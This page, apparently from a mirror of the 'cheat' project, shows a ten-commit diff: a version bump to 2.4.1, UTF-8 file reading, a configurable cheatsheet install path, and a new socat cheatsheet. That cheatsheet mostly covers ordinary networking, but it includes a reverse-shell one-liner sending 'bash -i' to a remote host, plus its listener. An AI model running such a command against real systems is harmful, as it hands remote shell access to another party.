mirror of
https://github.com/cheat/cheat.git
synced 2025-09-04 02:58:29 +02:00
Compare commits
10 Commits
Author | SHA1 | Date | |
---|---|---|---|
9ea60d12ff | |||
f7d747e101 | |||
3b207b4d51 | |||
5e1d3abce8 | |||
ad25e16dc6 | |||
92c07c0137 | |||
7e35263e90 | |||
b377984b59 | |||
e319332138 | |||
13c0ea7525 |
@ -47,7 +47,7 @@ import os
|
|||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
|
||||||
# parse the command-line options
|
# parse the command-line options
|
||||||
options = docopt(__doc__, version='cheat 2.4.0')
|
options = docopt(__doc__, version='cheat 2.4.1')
|
||||||
|
|
||||||
config = Configuration()
|
config = Configuration()
|
||||||
sheets = Sheets(config)
|
sheets = Sheets(config)
|
||||||
|
37
cheat/cheatsheets/socat
Normal file
37
cheat/cheatsheets/socat
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
# socat connect to http-server (port 80 on 'butzel.info')
|
||||||
|
socat TCP4:butzel.info:80 -
|
||||||
|
|
||||||
|
# connect to https-server (port 443 on 'butzel.info' with tls)
|
||||||
|
socat openssl:butzel.info:443 -
|
||||||
|
|
||||||
|
# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
|
||||||
|
socat -x tcp-listen:3180,fork -
|
||||||
|
|
||||||
|
# practical examples:
|
||||||
|
|
||||||
|
# complete real working http-example:
|
||||||
|
# (sleep is necessary to prevent socat closing socket before data received)
|
||||||
|
(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \
|
||||||
|
| socat tcp4:butzel.info:80 -
|
||||||
|
|
||||||
|
# http to httpS 'Proxy' (for an webserver without TLS-Support)
|
||||||
|
socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
|
||||||
|
|
||||||
|
# port forwarding (e.g. own port 3180 to port 22(ssh) on target
|
||||||
|
socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
|
||||||
|
|
||||||
|
# TOR-forwarding (needs tor-daemon on port 9050 running)
|
||||||
|
socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
|
||||||
|
|
||||||
|
# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
|
||||||
|
socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
|
||||||
|
|
||||||
|
# udp to tcp
|
||||||
|
socat -u udp-recvfrom:1234,fork tcp:localhost:4321
|
||||||
|
|
||||||
|
# reverse shell:
|
||||||
|
socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
|
||||||
|
|
||||||
|
# listener for above reverse shell (on remote.butzel.info):
|
||||||
|
socat file:`tty`,raw,echo=0 tcp-listen:3180
|
||||||
|
# or: nc -lp 3180
|
@ -1,3 +1,4 @@
|
|||||||
|
import io
|
||||||
import os
|
import os
|
||||||
import shutil
|
import shutil
|
||||||
|
|
||||||
@ -74,5 +75,5 @@ class Sheet:
|
|||||||
if not self.exists(sheet):
|
if not self.exists(sheet):
|
||||||
Utils.die('No cheatsheet found for ' + sheet)
|
Utils.die('No cheatsheet found for ' + sheet)
|
||||||
|
|
||||||
with open(self.path(sheet)) as cheatfile:
|
with io.open(self.path(sheet), encoding='utf-8') as cheatfile:
|
||||||
return cheatfile.read()
|
return cheatfile.read()
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
import io
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from cheat.utils import Utils
|
from cheat.utils import Utils
|
||||||
@ -63,7 +64,6 @@ class Sheets:
|
|||||||
""" Assembles a list of directories containing cheatsheets """
|
""" Assembles a list of directories containing cheatsheets """
|
||||||
sheet_paths = [
|
sheet_paths = [
|
||||||
self.default_path(),
|
self.default_path(),
|
||||||
'/usr/share/cheat',
|
|
||||||
]
|
]
|
||||||
|
|
||||||
# merge the CHEATPATH paths into the sheet_paths
|
# merge the CHEATPATH paths into the sheet_paths
|
||||||
@ -92,7 +92,7 @@ class Sheets:
|
|||||||
|
|
||||||
for cheatsheet in sorted(self.get().items()):
|
for cheatsheet in sorted(self.get().items()):
|
||||||
match = ''
|
match = ''
|
||||||
for line in open(cheatsheet[1]):
|
for line in io.open(cheatsheet[1], encoding='utf-8'):
|
||||||
if term in line:
|
if term in line:
|
||||||
match += ' ' + self._utils.highlight(term, line)
|
match += ' ' + self._utils.highlight(term, line)
|
||||||
|
|
||||||
|
@ -1 +1,5 @@
|
|||||||
{"CHEAT_COLORS":true,"CHEAT_EDITOR":"vi"}
|
{
|
||||||
|
"CHEAT_COLORS": true,
|
||||||
|
"CHEAT_EDITOR":"vi",
|
||||||
|
"CHEAT_PATH":"/usr/share/cheat"
|
||||||
|
}
|
||||||
|
11
setup.py
11
setup.py
@ -1,13 +1,20 @@
|
|||||||
from distutils.core import setup
|
from distutils.core import setup
|
||||||
import os
|
import os
|
||||||
|
|
||||||
|
# determine the directory in which to install system-wide cheatsheets
|
||||||
|
# KLUDGE: It would be better to read `/usr/share/cheat` from `config/cheat`
|
||||||
|
# rather than hard-coding it here
|
||||||
|
cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat'
|
||||||
|
|
||||||
|
# aggregate the systme-wide cheatsheets
|
||||||
cheat_files = []
|
cheat_files = []
|
||||||
for f in os.listdir('cheat/cheatsheets/'):
|
for f in os.listdir('cheat/cheatsheets/'):
|
||||||
cheat_files.append(os.path.join('cheat/cheatsheets/',f))
|
cheat_files.append(os.path.join('cheat/cheatsheets/',f))
|
||||||
|
|
||||||
|
# specify build params
|
||||||
setup(
|
setup(
|
||||||
name = 'cheat',
|
name = 'cheat',
|
||||||
version = '2.4.0',
|
version = '2.4.1',
|
||||||
author = 'Chris Lane',
|
author = 'Chris Lane',
|
||||||
author_email = 'chris@chris-allen-lane.com',
|
author_email = 'chris@chris-allen-lane.com',
|
||||||
license = 'GPL3',
|
license = 'GPL3',
|
||||||
@ -26,7 +33,7 @@ setup(
|
|||||||
'pygments >= 1.6.0',
|
'pygments >= 1.6.0',
|
||||||
],
|
],
|
||||||
data_files = [
|
data_files = [
|
||||||
('/usr/share/cheat', cheat_files),
|
(cheat_path, cheat_files),
|
||||||
('/etc', ['config/cheat']),
|
('/etc', ['config/cheat']),
|
||||||
],
|
],
|
||||||
)
|
)
|
||||||
|
Reference in New Issue
Block a user